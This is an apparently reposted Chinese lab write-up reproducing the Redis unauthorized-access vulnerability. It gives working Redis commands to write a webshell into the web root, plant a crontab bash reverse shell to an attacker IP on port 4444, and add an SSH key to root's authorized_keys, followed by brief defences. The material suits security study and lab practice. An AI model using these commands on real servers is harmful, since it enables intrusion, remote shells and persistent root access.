redis 未授权访问漏洞

redis 未授权访问漏洞,第1张

redis 未授权访问漏洞

漏洞复现记录--2

目录

一、实验相关配置

1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)

2.进入提示的src目录安装redis

3.配置漏洞环境

4.攻击机主机发现

5.端口扫描(要关闭靶机防火墙 iptables -F)

6.版本信息扫描

7.攻击机安装redis

8.直接无密码连接 ./redis-cli -h 192.168.129.219

二、攻击姿势

1.利用redis写入webshell

2.使用crontab反dshell

3.利用“公私钥”验证进行ssh登陆

三、防御姿势

参考


一、实验相关配置

实验环境 redhat-6.5(靶机) kali (攻击机)

1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)
tar xzf redis-4.0.11.tar.gz
cd redis-4.0.11
make

2.进入提示的src目录安装redis

至此,安装成功

3.配置漏洞环境
  • Redis由于配置不当,导致攻击者可以经过未授权访问内部数据,造成敏感信息的泄露,也可以执行恶意命令flushall来清空所有数据;还可以通过eval执行lua代码或数据备份功能,在磁盘写入后门文件。
  • Redis以root身份运行时,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

1> 为了方便 *** 作,将服务端和客户端复制到 /usr/bin

cp redis-server /usr/bin

cp redis-cli /usr/bin

将配置文件复制到 /etc

cp redis.conf /etc

 

2> 修改配置文件,允许远程访问,默认端口是6379,没有密码,这时候会导致未授权访问

vim /etc/redis.conf

注释bind ,允许除本机外的ip登陆redis服务

关闭保护模式,允许远程连接

 保存退出

3> 启动redis-server服务 (redis-server /etc/redis.conf)

4.攻击机主机发现

5.端口扫描(要关闭靶机防火墙 iptables -F)

6.版本信息扫描

7.攻击机安装redis

已经知道版本,直接下载,解压,编译

wget http://download.redis.io/releases/redis-4.0.11.tar.gz

tar xzf redis-4.0.11.tar.gz

cd redis-4.0.11

make

 再安装,make install

8.直接无密码连接 ./redis-cli -h 192.168.129.219

成功后可以进行 *** 作,redis状态查询

二、攻击姿势 1.利用redis写入webshell

利用条件

  • 靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
config set dir /var/www/html/
config set dbfilename phpinfo.php
set x "rnrnrnrn"
save
//redis写入文件内容本身会产生很多垃圾数据,前后需要rn来和垃圾数据区别开

 访问看看,写入成功(这里可能会出现解析失败,那是因为靶机没有php环境,yum install php,然后重启apache)

 那就可以直接写入一句话,蚁剑连接

 

2.使用crontab反dshell

利用条件:redis以root权限运行

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.129.129/4444 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划

 每过一分钟,root会向攻击者ip:4444反d自己的shell

3.利用“公私钥”验证进行ssh登陆

利用条件:

  • Redis服务使用root账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

1> 创建公私钥对

2> 然后这里就会产生一个公私钥对的隐藏文件

3> 将公钥内容传过去

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xx "nn id_rsa_pub里的内容 nn"
save

4> 登陆成功(-i 后跟id_rsa的路径)

三、防御姿势
  • 修改默认端口
  • 设置密码认证
  • 尽量以低权限运行Redis服务

参考

Redis未授权访问漏洞利用及防护措施(非常详细)_7Riven's blog-CSDN博客_redis未授权访问漏洞利用

10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园

crontab 详细用法 定时任务 - 四海骄阳 - 博客园

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/4964500.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-13
下一篇 2022-11-13

发表评论

登录后才能评论

评论列表(0条)

保存